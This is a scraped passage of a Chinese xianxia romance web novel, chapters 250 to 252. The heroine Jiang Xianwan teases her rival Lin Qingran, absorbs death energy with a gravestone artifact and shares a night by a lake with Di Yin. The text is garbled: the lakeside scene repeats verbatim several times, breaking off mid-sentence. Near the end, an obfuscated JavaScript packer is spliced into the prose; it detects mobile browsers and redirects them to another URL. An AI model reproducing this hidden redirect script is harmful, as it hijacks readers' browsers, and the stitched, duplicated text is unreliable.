花不休拢着及地青袖,兀自立在树下,青衣将宽肩与窄腰撑出峭拔的轮廓,似苍岩裹着青纱。 闻声,视线从天际轻轻拉回,“时云霄去了,你们不必再去。” 江献晚想了想,“我想去外围看看。” 林玉锦立刻举手,“我也。” 小师妹在哪里,他就在哪里。 苏清流和白子夜更不用说,小师妹要去,他们当然也要跟着。 花不休指节微曲,略略一点头。 待四个徒儿转身,不疾不徐从衣缘下探出一截清瘦骨腕,揪了朝虚古境冲的孽徒。 苏清流三人:“……” 真是够够的了花美人! 江献晚:“……” 是谁……再次揪上了她命运的后脖颈。 花不休扫视原地踌躇的三个徒弟,缓缓将孽徒转过来,低头睨她。 薄唇轻启,几分戏谑。 “是我。” 接受到花美人短暂且意味深长的目光,苏清流沉默了一下。 赶人是吧? 演都不演了是吗? 爱的这么明显是吗? 就不要脸。 白子夜:“……呵。” 他都不想说。 是谁搁这站半天他不说。 就荒缪。 想笑。 林玉锦:“……啧。” 花美人急了。 花美人讨不到名分。 他急了。 三人咬着牙根,冷冷转身。 花美人:“……” 花不休眼睫微动,眸光一丝黯淡,消匿无形。 看向孽徒时,唇角又含了三分说不清道不明的笑,“两个都哄好了?” 江献晚:“……”这话问的。 他还没好么? 江献晚扯了扯花不休的衣袖,想就直说,“您还没好?” “要不,徒儿再哄一个?” 花不休微抿下唇,旋即要笑不笑,懒散的拎着她……抖了抖。 意思不言而喻。 江献晚耷拉下脑瓜,“可能吧。” 她睡着了。 她不知道。 “可能?”花不休将她一放,似来了兴趣,继而道:“怎么哄的?” 云为泽今天从孽徒房间出来,跑的比兔子都快。 回自个屋时,还撞坏了一扇门。 可想,孽徒定是对他那好弟弟做了什么。 江献晚:“……”还能怎么哄的。 用自个哄的。 躺上去哄的。 不过,花美人那是什么眼神? 她是什么很急色的禽兽……呃…… 眼瞅着花美人探索世界般,似笑非笑。 递来的视线却耐人寻味,眼底沉黑隐晦,江献晚有些吃不消。 一屁股秃噜下来,坐到花美人靴上,抱着他的腿儿,用力一晃。 “师尊尊,您又朝徒儿这么笑!” 他又想扒她皮了不是? 花美人:“……” 眼底暗潮微散,正要来一句孽徒。 两个如花似玉,格外惹人注目的男子,各自从房间走出。 江献晚在花美人腿儿上缩了一下。 目光在耳尖晕红,轻咬着薄唇的北帝尊身上,顿了三秒,而后一划。 与表情似乎有些浅薄怪诞的南帝尊,又一碰。 她肩线显见的绷直了,来不及去看任何一个的表情和反应。 嗖地一下,藏到花不休身后,同时扯了他的宽袖,严严实实遮住脸。 花不休眉心跳了跳,睫帘低垂,偏向一侧,手掌摁了孽徒的脑瓜,“孽徒,你又闯什么祸了?” 江献晚一哽,嘴硬道:“没有!” 又催促地晃他袖子,“快走快走。” 也不知道云为泽看到她睡在旁边的那一刻,会是什么反应。 还担忧,帝隐待会儿若忍不住对她说些什么可可爱爱的话,明长老他们先受不了,再把自个一吊。 江献晚此地无银三百,拽着花美人,一个劲儿往后退。 眼瞧着虚古境入口就在不远,双腿发力,拧身一个冲刺。 第 250 章 看人真准 岂料。 一条脑袋长着两只小角的龙鲤,从帝隐肩头一跃而起。 炮弹似的,一脑袋朝她扎了过来。 江献晚跑的相当快,这就导致鱼的规划出了变故,没能扎她怀里,一头撞在了她的背上。 在几双震惊地目光中。 “咚”地一声。 花不休扶额摇头。 鱼小白一头创飞了江献晚,江献晚一头撞上刚从虚古境出来的雾渺。 雾渺面色一变,心底划过淡淡厌恶,下意识挥出一道灵力想将她掀开。 在听到嗷地一声呜咽,灵力忙裹了她的腰,拉回。 “晚晚?” 再看滚出十米外的鱼。 “龙鲤?” 江献晚趴在地上,捂着鼻尖,眼前一片小星星。 花不休大步走来,鱼小白吓了一跳,一个鲤鱼打挺,从草地上高高跃起,跟着冲过来。 “晚晚!” 闪身而来的还有帝隐。 “晚晚!” 晚什么晚! 晚了! 江献晚撅着屁股,就地一滚,躲开鱼和不知谁的手,拔腿冲进虚古境。 三只手拉了个寂寞,鱼小白又是一头,结结实实扎进草地。 雾渺:“……她跑那么快做什么?” 帝隐乌睫一颤,眼尾水色弥漫,惑人的绯红,如同雪地里溅落的朱砂,无处遁形。 他指尖有些不自然的轻轻一碰微微刺痛的唇。 旋即,双颊晕红,低下头,不吭声。 他昨晚失态,晚晚说话说累了……骑在他身上。 还……咬了他。 她可能害羞才会又跑的。 花不休:“……” 瞧着一失魂落魄,一含羞带怯的两个男人,外加……哭的好大声的鱼。 花美人眉心跳动,重重磨了一下牙根。 江献晚刚踏入虚古境,步子一顿,淡漠的眸光锁定在林轻染身上。 林轻染乍然看到她,一只脚下意识往后退了一步,错身就要离开。 后者不如她所愿,悠然举步一错,拦下她的去路。 江献晚像是早已忘记早上的不痛快,很是从容的主动打招呼。 “林道友,我们又见面了。” 林轻染:“……”不然呢? 她非得阴魂不散是吧? 林轻染警惕的看了一下四周,搞不清她想做什么。 总之,不干人事,没跑。 凝思几瞬,抿唇不接。 江献晚显然有的是力气,一边咔嚓啃着苹果,贱嗖嗖的主动靠近两步。 密如雨箭,又似诉说今天天气般,轻飘飘的一句句,却冒昧的让林轻染一度色变。 “雾掌门变成这个样子,是因为你吗?” “现在跟恐女似的,他以前可不这样。” “说来,我还有一事很疑惑,林道友,你说你一来太虚宗,我们太虚宗上上下下都开始变得倒霉。” 末了,诚恳发问,“你说,这是为什么啊?” 见她双眸几欲要喷出火,又自顾自地回答,“该不会是什么扫把星投胎转世。” “你在万古宗也这样吗?” “话说,虚古境发生兽潮,该不会与你有关吧?” “噢,灵塔也与你有关吧?” 系统:“……”她话真特么的密! 还特么不带喘气! 主要是……看人真准。 林轻染连遭一串毒箭,箭箭命中心窝,五官一再扭曲。 压抑已久的怨毒与恨意,随着最后一问,骤然喷发。 藏在袖中的手紧握成拳,喘着粗气怒吼。 “闭嘴!” 她为什么不死! 她怎么不立刻就去死! 猜的这么准,不要命了! 无法控制的恨意在胸口上下翻腾,林轻染眼底迸射出怨毒的狰狞之色。 双手控制不住哆嗦,看起来想将她立刻撕碎。 就这么阴毒的盯了半天,忽然一改方才的弱势姿态,嗤声冷笑道:“希望江师妹的嘴能一直这么硬。” 江献晚点点头,不太在意,“哦,我也祝愿林道友的命能一直这么硬。” 林轻染:“……” 林轻染气的手抖,可当出了虚古境,看到树下站在一起的几个绝色男子,只得迅速调整好表情。 “见过剑尊和二位帝尊。” 又欲语还休,看向雾渺,和他身侧漂浮的鱼。 “师尊。” “龙鲤大人。” 四人一鱼:“……” 雾渺脸色倏地一变,无意识踉跄退后两步,未语。 龙鲤喷出一个泡泡,一脑袋扎进帝隐颈后的银发中,露出半拉屁股。 林轻染没有得到任何一人的回应,只落了个冰冷无情地泡泡。 失魂落魄回到驻地,噼里啪啦将桌案上摆放的东西尽数扫落。 “还要等到什么时候!” “没看到她现在多嚣张吗?你就这么看着她骑你头上!” 系统沉默不语。 它比林轻染还要恶心那种被人压上一头,逼的捉襟见肘的感觉。 江献晚攻击力太强,也太过于聪明,且睚眦必报,至死方休。 咬着林轻染不打算放,又能看透它与林轻染的每一步。 再这么下去,不止林轻染没有活路,它亦脱不了身。 系统不得不承认,江献晚确实很有能力,甚至想过,它若绑定的是江献晚,那么,现在是不是早就一步登天了! 这样的人,一旦成为对手,便犹如心头扎入一根刺。 系统着实厌恶极了被压上一头的感觉,突然冷声道:“既然如此,便再试一次。” 它倒要看看江献晚接下来,如何再笑的出来! 既然它不好过,那谁都别好过! 意识到什么,林轻染微微一怔,“谁?” “花不休。” “或者苏清流三人。” 这四人,与江献晚最是亲密无间,不管是谁,江献晚都会很痛苦的吧? 系统愉悦的嗤笑一声,似乎已经看到江献晚是多么崩溃的反应。 林轻染却拢回一些理智,连连摇头,“不行!上次一事,雾渺是怎么放过我的,你又不是不知!” “花不休他们绝对会杀了我的!” “雾渺知道,也会来杀我!” “那你是打算就这么任由江献晚来欺辱你是吗?” 系统怒不可遏,恨她又蠢又胆小。 “你就不想也让她痛苦一下!” “器灵即将苏醒,界皇之位近在咫尺,近日虚古境频繁异动!离开之前你就不想挫一挫她的锐气!” “到时!谁又动的了你!” 观她神色松动,露出向往之色,系统颇厌恶她墙头草的表情,瞬间不欲再说。 嫌弃地道:“先洗洗再说吧。” 林轻染:“……”她是什么很脏的东西吗? 第 251 章 晒月亮 江献晚在外围转了一圈,惊喜的是,她找到了蓝宝一家。 再次见面,蓝宝悲喜交集,一头扎进她怀中,两只翅膀连比带划。 说它们感觉不对,每日都吃她留下的丹药,神智没怎么受到影响。 这段日子不敢出去,更不敢捕捉那些被死气侵染的猎物,靠着丹药支撑,有惊无险的挺过来了。 江献晚与它们说了好一会儿话,又留下了三盆丹药。 告别蓝宝一家,马不停蹄去了异鼠巢穴。 那群胖胖嘟嘟的异鼠兴许也察觉到了不对,洞穴封的极为严密,只沾染了少许死气。 可能担心自己会发狂,选择了沉睡。 江献晚摸着异鼠王,仔细检查一番,松了口气。 又在异鼠集中的洞穴中各布了几道阵法,留了两盆丹药和一袋瓜子,顺着洞穴爬出去,细心的将洞口严严实实封上。 她随手揪了根狗尾巴草,咬在嘴里,此刻已是皎月悬空,虫鸣序曲。 那耀目的灵塔仍流转着古朴繁复的符文,无休无止。 江献晚慢悠悠地掏出星轮顶在指尖。 “啪嗒”一声。 一块破烂的墓碑不小心被带了出来。 心不在焉伸出脚尖轻轻一勾,墓碑便落在了手中。 江献晚眉头紧锁,想的尽是兽瞳都哭红的蓝宝,还有虚古境的死气。 “若是有一个东西能把这些死气,还有地底下的东西全装进去就好了。” “可这么多灵塔都做不到,世上有什么东西能装的下这么多死气?” “要不……装一点试试?” 她觉得,有些事情,她怎么不算……挺能装的。 墓碑:“……” 装个毛啊装。 你个虎娘们。 试试就逝世了! 什么都试,只会害了你! 江献晚喃喃不停,说着盘腿就地坐下,勾了一缕死气过来。 大有一副用自个的肉体作为容器,妄图将这些死气,连带着底下的东西一并装入自己体内。 被她随手搁在一旁的墓碑,对自家虎娘们求死若渴的疯狗作风,习以为常,也忍不住忧伤。 虎娘们不能把自己玩死吧? 她要是死了,它怎么活? 墓碑短暂的衡量一下,生怕回不去,二话不说,就是吸。 天道规则是约束了它不错,但天道也没说它不能做什么啊! 吸几口死气怎么了? 给孩子吃点东西不行吗? 江献晚阖着睫毛,衣袖如烟垂逶于地,没注意到一片轻薄裙边下,狗狗祟祟的墓碑,在她闭眼的那一刻,轻轻挪动了一下。 细若游丝的雾气,如烟似梦地从碑内漫漶于表面,形成无数穿梭游走的半透丝绦。 那漂浮在空气中的死气霎时以一种极快的速度,悄无声息地从四面八方涌来,几乎拧成一股黑烟,钻入碑身。 墓碑看了一眼碑内,暗自思忖,以它现在不足十之一的力量,吸多少次,才能把活给干完了。 碑内自成世界,割裂为二,像是突兀拼凑,缝合。 金乌、星群与玉轮竟同时悬于虚空。 一半是金乌高悬。 金红焰流几乎灼穿天幕,将下方浮动的云海煮沸,蒸腾起瑰丽而致命的烟雾。 一半是星辰渺远。 幽冷的玉轮固守着它的半边疆域,始终不肯褪去本色的素绡,在虚空里无声流淌。 它们彼此倾轧,相互浸染,维系着岌岌可危的和谐,却又奇异地相互精密的平衡支撑。 构筑起虚空之中壮丽而荒诞的图景。 在看似不可调和的张力之间,找到那惊心动魄、岌岌可危又无比奇妙的平衡。 而在那苍穹之下。 湖水如镜,宛若悬浮于大地之上,一层薄而坚韧的膜。 深处竟是另一个倒悬的世界。 星辰如盖的那半边,映照出两张如出一辙的面庞。 一人似月华精魄凝形。 一袭素白锦袍,眉如远山含黛,出尘柔和,乌发如月辉流淌,仅用一根冰蚕丝随意束在脑后。 几缕发丝拂过光洁的额角与冰雪般的脸颊,肤色是近乎透明的冷白。 非尘世所有的空灵。 另一人似雪涧寒玉。 一袭玄色广袖长袍,眉如冷玉雕琢,沉凝如渊,长发如墨瀑,仅以一柄乌沉沉的古木簪松松挽住。 几缕碎发自额角垂下,牵引着周遭灵光都为之沉坠、凝滞。 更添几分疏离的冷峻。 一白一玄,一者似水,一者如渊,一灵动,一沉凝。 同为孪生,拥有近乎复刻的骨相轮廓,却如同镜子正反两面,阴阳两极最直观的具象。 湖镜下世界清澈见底,微光清气,不受半分影响。 湖镜上世界死气席卷天地,黑色浓重,却被天道之力投下的一道阴影,碰撞撕裂。 墓碑吸的想要呕吐。 江献晚……仍不知。 她浅试了几次,手指结印,周身灵光鼎沸,无奈将死气从体内逼出。 撑着面颊琢磨了一会儿,将墓碑与星轮纳入芥子囊中,决定回去同三个师兄一起想个法子。 没发现还在无声涌来死气,忽然溃散。 江献晚回到太虚宗驻地,经过云为泽的房间,脚步一顿。 正恰巧被一人一鱼截了个正着。 帝隐素白长衣,如月下一株清绝的玉树,极致的素净。 衣袂与阔袖线条如水泻落,垂坠极为妥帖,倒似凝结的霜华,流动的雾霭,无半分尘埃敢落于其身。 就这样乖乖的站在树下……眼巴巴瞧着她。 手里还……捧着一条同样眼巴巴瞅着她的胖鱼。 江献晚:“……” 那鱼一见她,不尽委屈,脑瓜尾巴连摇带晃,鱼嘴一张。 帝隐红着耳尖,局促的及时捂了鱼嘴,生怕它闹江献晚。 浑然不知,自个眸中的期翼,比鱼还要明亮许多。 不得不说,这种清冷又动不动会脸红的反差萌,江献晚半点都扛不住。 踱步走过去,状似不经意询问,“晒月亮呢?” “等你!”一人一鱼异口同声。 话落,帝隐咬着唇肉,羞赧的移开一点视线,即刻又重新挪回来。 垂下半扇睫帘,双颊晕红,吞吞吐吐,轻声道:“我,我睡醒了。” 言下之意—— 你说过,醒来就去找你的。 迟疑片刻。 眸光掠过窗棂上一点烛影,局促不安的忙补充,“你是要寻他吗?” 停了一下,又觉得不该多问,懊恼的解释,“你先忙。” 他说着,语气逐渐变得飘忽,似乎觉得自己的措辞怎么听都有些生硬。 像是耍小脾气一般,与云为泽争风吃醋,叫她为难。 说到最后,懊恼的垂下头,看自己足尖下的青草,沮丧道:“我是出来晒月亮的。” 第 252 章 约个会 鱼小白:“……” 晒、晒什么? 月亮? 鱼晒干了沉默。 江献晚:“……” 真的。 她听着也想沉默。 清冷若雪的北帝尊,可爱起来,可爱到犯规。 江献晚抬眸瞅了一眼月亮,慢吞吞转身,“那,我去了?” 帝隐:“……” 悄悄从睫帘下瞅了她一眼,飞快垂眼,无意识抠了抠鱼的鳃。 有些心不在焉,但还是乖乖点头,“嗯。” 鱼小白:“……” 江献晚:“……” 江献晚叹了口气,回身牵了他的衣袖,接过怒其不争哀其不幸,被帝隐抠着鱼鳃,直抽搐的鱼小白。 扯了傻傻怔住的北帝尊,往远处林间走去。 “不去了,先陪你。” “陪,陪我?” 帝隐一双雪洗的眸微微睁大了一些,视线一低,落在衣袖上那只莹白的手。 许久,乌睫慢慢翕和了一下,丝缎般的银发间,露出的一点儿耳垂,飞快晕开一抹滚烫的胭脂色。 他无声低喘一下,傻傻的任由江献晚牵着,亦步亦趋。 眼角的余光,偷偷久久落在江献晚神色如常的面颊上,指尖犹豫着蜷了几蜷,一边悄悄注意她的反应。 最终,鼓起勇气,轻轻执了她的手。 那柔嫩的手包裹进来的瞬间,帝隐指骨都有些绷紧,然掌心中暖热的一团极为安静,没有任何抗拒与抵触。 他咬着唇肉,欢喜又羞涩,小心翼翼将手拢紧了一些。 一连串的小动作,看似不知,实则尽收眼底的江献晚,看的心没出息的软了。 鱼小白瞅了瞅江献晚,再瞅瞅帝隐,鱼脑飞快旋转,灵光一闪。 突然打了个哈欠,“啊,那个,鱼突然有点困,鱼想回去睡了。” 如此难得的二人世界,鱼当然不能做没脑子的鱼! 鱼激动的热血沸腾,仿佛看到一家四口亲亲热热的画面,在向它疯狂招手。 这谁能忍住? 不待两人反应,鱼小白欢喜地一甩尾巴,急哄哄的调头往回冲。 “啊啊啊!鱼有家了!” “鱼鱼要有家家了~啦啦啦~啦啦啦啦啦~” 帝隐:“……”?????? 江献晚:“……”?_?? 此时月亮尚未登临中天,只悬在树梢上,将湖边一双人影缓缓拉长。 江献晚静静望着湖面折射出的迷离微光,石子投注进去,晕开一层层细碎如银屑的光晕,将完整的月影揉皱。 她并没有挣开他的手,任由他轻轻握着,神色渐渐随粼粼水纹恍惚。 帝隐微微侧目,出神的目光始终牵引一般,不自觉的落在她柔软下来的面颊上。 心里某处像被触动了一下,一丝又一丝的心悸,酸酸麻麻,挤满心口。 蓦然发现。 原来,这样与她安宁而放松的模样,他期待了很久,很久。 却也迟到了很久,很久。 帝隐情不自禁放缓了呼吸。 她安静的看着湖面。 他安静的看着她。 那双专注而从一而终的眸子,既是慰藉,又是依恋,江献晚此刻竟生出一种再安定不过的心情。 她曾经从未想到过会有这么一天,与帝隐小情侣幽会一般,安静的坐在一起,而不是以为的陌路。 像是忽然在这个尘世间,尘埃落定。 与花不休和三个师兄,还有风回雪给她的感觉似乎有那么一点不同。 可能。 帝隐是她刚来到这个陌生世界,第一个与她羁绊最多最深的那个人。 便显得特殊。 现在的感觉,还行。 江献晚只觉浑身的骨头一下子懒了,腰身一软,半边身子软软的陷了过去。 背后是宽阔而充满安全的胸膛,耳边是沉稳有力的心音,催的她睫毛懒倦,视线随湖面水波一圈一圈的朦胧晕散。 帝隐只僵硬了一瞬,身体奇异的放松下来,给她靠着。 他指尖犹豫的动了一下,轻轻环了她的腰身,怀中人便软耷耷的垂着睫毛,懒懒的调整了最舒适的姿势,由他将她全部承载。 天地变得静谧,偶尔有絮叨的虫鸣坠落草丛间。 江献晚只觉神魂一轻,坠入一片温水包裹的天 地,两团小扇子似的睫毛一点一点垂落下去。 她睡了很久,像是将骨头里的疲惫都睡尽。 醒来察觉到帝隐连细微的动作都未变动。 将自己软成一汪水,脸颊贪恋的埋着他怀中,猫儿似的轻蹭。 蹭了几下,眼睛还未睁开,便忍不住笑了。 迷迷糊糊圈了他的脖颈,唇瓣厮磨一般,舔咬着他的锁骨,满意的听到头顶传来勾人的轻喘。 坏坏的勾了勾唇。 咕哝出的话,瞬间使得耳尖泛红的男人绷紧了浑身骨头。 帝隐柔软到不可思议的表情一僵,乃至有些迷惘和震惊。 而后,呼吸渐渐急促起来,面颊也憋的染上瑰丽的潮红。 “晚晚。” 脆弱而羞涩的呜咽嗔语,不难听出,北帝尊面对这种犀利而别致的送命问题,无助的又要碎了。 江献晚险些笑出声来,攀着他的肩颈,缠上去。 “我和行行,你最喜欢谁?” 这个问题不亚于,我和你妈同时掉进水里,你先救谁。 江献晚当然不会跟自个儿子一决高下,就是忍不住想逗逗他。 咬了一下他的唇瓣,装的委屈。 出乎意料。 北帝尊很快给了她答案。 帝隐稳稳扶着她的腰身,头颅微微下压。 他的眼睛此时宛如砚中墨玉,静水深流,沉淀千年的暖色,无声无息,浸润人心。 专注凝视时,长长的睫毛在眼下投出微深的剪影,带着抚平一切躁动的温柔,直抵岁月尽头。 却又是纯粹且坚定。 江献晚听到很轻的一声,不由屏息。 “是你。” 他轻声说。 “晚晚,是你。” 帝隐倏然拥她入怀,眸子浸润一片湿润的雾霭。 磐石低语,风雪不侵。 “是你。” “一直都只是你。” 他爱他们的骨肉,倘若非要选一人,他承认,他是个混蛋。 江献晚沉默了很久,久到眼前男人局促起来,在心中疯狂自省。 晚晚会不会认为他不爱他们的孩子…… 会不会认为他这个人差劲到不可饶恕…… 会不会…… “噗嗤。” 在他陡然呆呆怔住,江献晚趴在他心口,闷闷笑出了声。 拖长嗓音,发出“啊?”的震惊低呼。 “啊?这样啊。” “那我可跟行行说了,你说你不爱他。” 帝隐:“……” 帝隐险些仰面躺倒,反应过来江献晚是在捉弄他,耳根子红的滴血,慌手慌脚轻轻去拦她找玉简的动作。 嗓音都乱了。 “不要……” “晚晚……” “不要说……” 江献晚笑的花枝乱颤,帝隐偏偏只对她没一点招,慌乱中,只能抱了她,掩耳盗铃似的将面颊懊恼的埋在她颈窝。 羞涩的哀求。 “不要说。” “喜欢的。” “我都喜欢的。” 地,两团小扇子似的睫毛一点一点垂落下去。 她睡了很久,像是将骨头里的疲惫都睡尽。 醒来察觉到帝隐连细微的动作都未变动。 将自己软成一汪水,脸颊贪恋的埋着他怀中,猫儿似的轻蹭。 蹭了几下,眼睛还未睁开,便忍不住笑了。 迷迷糊糊圈了他的脖颈,唇瓣厮磨一般,舔咬着他的锁骨,满意的听到头顶传来勾人的轻喘。 坏坏的勾了勾唇。 咕哝出的话,瞬间使得耳尖泛红的男人绷紧了浑身骨头。 帝隐柔软到不可思议的表情一僵,乃至有些迷惘和震惊。 而后,呼吸渐渐急促起来,面颊也憋的染上瑰丽的潮红。 “晚晚。” 脆弱而羞涩的呜咽嗔语,不难听出,北帝尊面对这种犀利而别致的送命问题,无助的又要碎了。 江献晚险些笑出声来,攀着他的肩颈,缠上去。 “我和行行,你最喜欢谁?” 这个问题不亚于,我和你妈同时掉进水里,你先救谁。 江献晚当然不会跟自个儿子一决高下,就是忍不住想逗逗他。 咬了一下他的唇瓣,装的委屈。 出乎意料。 北帝尊很快给了她答案。 帝隐稳稳扶着她的腰身,头颅微微下压。 他的眼睛此时宛如砚中墨玉,静水深流,沉淀千年的暖色,无声无息,浸润人心。 专注凝视时,长长的睫毛在眼下投出微深的剪影,带着抚平一切躁动的温柔,直抵岁月尽头。 却又是纯粹且坚定。 江献晚听到很轻的一声,不由屏息。 “是你。” 他轻声说。 “晚晚,是你。” 帝隐倏然拥她入怀,眸子浸润一片湿润的雾霭。 磐石低语,风雪不侵。 “是你。” “一直都只是你。” 他爱他们的骨肉,倘若非要选一人,他承认,他是个混蛋。 江献晚沉默了很久,久到眼前男人局促起来,在心中疯狂自省。 晚晚会不会认为他不爱他们的孩子…… 会不会认为他这个人差劲到不可饶恕…… 会不会…… “噗嗤。” 在他陡然呆呆怔住,江献晚趴在他心口,闷闷笑出了声。 拖长嗓音,发出“啊?”的震惊低呼。 “啊?这样啊。” “那我可跟行行说了,你说你不爱他。” 帝隐:“……” 帝隐险些仰面躺倒,反应过来江献晚是在捉弄他,耳根子红的滴血,慌手慌脚轻轻去拦她找玉简的动作。 嗓音都乱了。 “不要……” “晚晚……” “不要说……” 江献晚笑的花枝乱颤,帝隐偏偏只对她没一点招,慌乱中,只能抱了她,掩耳盗铃似的将面颊懊恼的埋在她颈窝。 羞涩的哀求。 “不要说。” “喜欢的。” “我都喜欢的。” 地,两团小扇子似的睫毛一点一点垂落下去。 她睡了很久,像是将骨头里的疲惫都睡尽。 醒来察觉到帝隐连细微的动作都未变动。 将自己软成一汪水,脸颊贪恋的埋着他怀中,猫儿似的轻蹭。 蹭了几下,眼睛还未睁开,便忍不住笑了。 迷迷糊糊圈了他的脖颈,唇瓣厮磨一般,舔咬着他的锁骨,满意的听到头顶传来勾人的轻喘。 坏坏的勾了勾唇。 咕哝出的话,瞬间使得耳尖泛红的男人绷紧了浑身骨头。 帝隐柔软到不可思议的表情一僵,乃至有些迷惘和震惊。 而后,呼吸渐渐急促起来,面颊也憋的染上瑰丽的潮红。 “晚晚。” 脆弱而羞涩的呜咽嗔语,不难听出,北帝尊面对这种犀利而别致的送命问题,无助的又要碎了。 江献晚险些笑出声来,攀着他的肩颈,缠上去。 “我和行行,你最喜欢谁?” 这个问题不亚于,我和你妈同时掉进水里,你先救谁。 江献晚当然不会跟自个儿子一决高下,就是忍不住想逗逗他。 咬了一下他的唇瓣,装的委屈。 出乎意料。 北帝尊很快给了她答案。 帝隐稳稳扶着她的腰身,头颅微微下压。 他的眼睛此时宛如砚中墨玉,静水深流,沉淀千年的暖色,无声无息,浸润人心。 专注凝视时,长长的睫毛在眼下投出微深的剪影,带着抚平一切躁动的温柔,直抵岁月尽头。 却又是纯粹且坚定。 江献晚听到很轻的一声,不由屏息。 “是你。” 他轻声说。 “晚晚,是你。” 帝隐倏然拥她入怀,眸子浸润一片湿润的雾霭。 磐石低语,风雪不侵。 “是你。” “一直都只是你。” 他爱他们的骨肉,倘若非要选一人,他承认,他是个混蛋。 江献晚沉默了很久,久到眼前男人局促起来,在心中疯狂自省。 晚晚会不会认为他不爱他们的孩子…… 会不会认为他这个人差劲到不可饶恕…… 会不会…… “噗嗤。” 在他陡然呆呆怔住,江献晚趴在他心口,闷闷笑出了声。 拖长嗓音,发出“啊?”的震惊低呼。 “啊?这样啊。” “那我可跟行行说了,你说你不爱他。” 帝隐:“……” 帝隐险些仰面躺倒,反应过来江献晚是在捉弄他,耳根子红的滴血,慌手慌脚轻轻去拦她找玉简的动作。 嗓音都乱了。 “不要……” “晚晚……” “不要说……” 江献晚笑的花枝乱颤,帝隐偏偏只对她没一点招,慌乱中,只能抱了她,掩耳盗铃似的将面颊懊恼的埋在她颈窝。 羞涩的哀求。 “不要说。” “喜欢的。” “我都喜欢的。” 地,两团小扇子似的睫毛一点一点垂落下去。 她睡了很久,像是将骨头里的疲惫都睡尽。 醒来察觉到帝隐连细微的动作都未变动。 将自己软成一汪水,脸颊贪恋的埋着他怀中,猫儿似的轻蹭。 蹭了几下,眼睛还未睁开,便忍不住笑了。 迷迷糊糊圈了他的脖颈,唇瓣厮磨一般,舔咬着他的锁骨,满意的听到头顶传来勾人的轻喘。 坏坏的勾了勾唇。 咕哝出的话,瞬间使得耳尖泛红的男人绷紧了浑身骨头。 帝隐柔软到不可思议的表情一僵,乃至有些迷惘和震惊。 而后,呼吸渐渐急促起来,面颊也憋的染上瑰丽的潮红。 “晚晚。” 脆弱而羞涩的呜咽嗔语,不难听出,北帝尊面对这种犀利而别致的送命问题,无助的又要碎了。 江献晚险些笑出声来,攀着他的肩颈,缠上去。 “我和行行,你最喜欢谁?” 这个问题不亚于,我和你妈同时掉进水里,你先救谁。 江献晚当然不会跟自个儿子一决高下,就是忍不住想逗逗他。 咬了一下他的唇瓣,装的委屈。 出乎意料。 北帝尊很快给了她答案。 帝隐稳稳扶着她的腰身,头颅微微下压。 他的眼睛此时宛如砚中墨玉,静水深流,沉淀千年的暖色,无声无息,浸润人心。 专注凝视时,长长的睫毛在眼下投出微深的剪影,带着抚平一切躁动的温柔,直抵岁月尽头。 却又是纯粹且坚定。 江献晚听到很轻的一声,不由屏息。 “是你。” 他轻声说。 “晚晚,是你。” 帝隐倏然拥她入怀,眸子浸润一片湿润的雾霭。 磐石低语,风雪不侵。 “是你。” “一直都只是你。” 他爱他们的骨肉,倘若非要选一人,他承认,他是个混蛋。 江献晚沉默了很久,久到眼前男人局促起来,在心中疯狂自省。 晚晚会不会认为他不爱他们的孩子…… 会不会认为他这个人差劲到不可饶恕…… 会不会…… “噗嗤。” 在他陡然呆呆怔住,江献晚趴在他心口,闷闷笑出了声。 拖长嗓音,发出“啊?”的震惊低呼。 “啊?这样啊。” “那我可跟行行说了,你说你不爱他。” 帝隐:“……” 帝隐险些仰面躺倒,反应过来江献晚是在捉弄他,耳根子红的滴血,慌手慌脚轻轻去拦她找玉简的动作。 嗓音都乱了。 “不要……” “晚晚……” “不要说……” 江献晚笑的花枝乱颤,帝隐偏偏只对她没一点招,慌乱中,只能抱了她,掩耳盗铃似的将面颊懊恼的埋在她颈窝。 羞涩的哀求。 “不要说。” “喜欢的。” “我都喜欢的。” 地,两团小扇子似的睫毛一点一点垂落下去。 她睡了很久,像是将骨头里的疲惫都睡尽。 醒来察觉到帝隐连细微的动作都未变动。 将自己软成一汪水,脸颊贪恋的埋着他怀中,猫儿似的轻蹭。 蹭了几下,眼睛还未睁开,便忍不住笑了。 迷迷糊糊圈了他的脖颈,唇瓣厮磨一般,舔咬着他的锁骨,满意的听到头顶传来勾人的轻喘。 坏坏的勾了勾唇。 咕哝出的话,瞬间使得耳尖泛红的男人绷紧了浑身骨头。 帝隐柔软到不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073545|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思议的表情一僵,乃至有些迷惘和震惊。 而后,呼吸渐渐急促起来,面颊也憋的染上瑰丽的潮红。 “晚晚。” 脆弱而羞涩的呜咽嗔语,不难听出,北帝尊面对这种犀利而别致的送命问题,无助的又要碎了。 江献晚险些笑出声来,攀着他的肩颈,缠上去。 “我和行行,你最喜欢谁?” 这个问题不亚于,我和你妈同时掉进水里,你先救谁。 江献晚当然不会跟自个儿子一决高下,就是忍不住想逗逗他。 咬了一下他的唇瓣,装的委屈。 出乎意料。 北帝尊很快给了她答案。 帝隐稳稳扶着她的腰身,头颅微微下压。 他的眼睛此时宛如砚中墨玉,静水深流,沉淀千年的暖色,无声无息,浸润人心。 专注凝视时,长长的睫毛在眼下投出微深的剪影,带着抚平一切躁动的温柔,直抵岁月尽头。 却又是纯粹且坚定。 江献晚听到很轻的一声,不由屏息。 “是你。” 他轻声说。 “晚晚,是你。” 帝隐倏然拥她入怀,眸子浸润一片湿润的雾霭。 磐石低语,风雪不侵。 “是你。” “一直都只是你。” 他爱他们的骨肉,倘若非要选一人,他承认,他是个混蛋。 江献晚沉默了很久,久到眼前男人局促起来,在心中疯狂自省。 晚晚会不会认为他不爱他们的孩子…… 会不会认为他这个人差劲到不可饶恕…… 会不会…… “噗嗤。” 在他陡然呆呆怔住,江献晚趴在他心口,闷闷笑出了声。 拖长嗓音,发出“啊?”的震惊低呼。 “啊?这样啊。” “那我可跟行行说了,你说你不爱他。” 帝隐:“……” 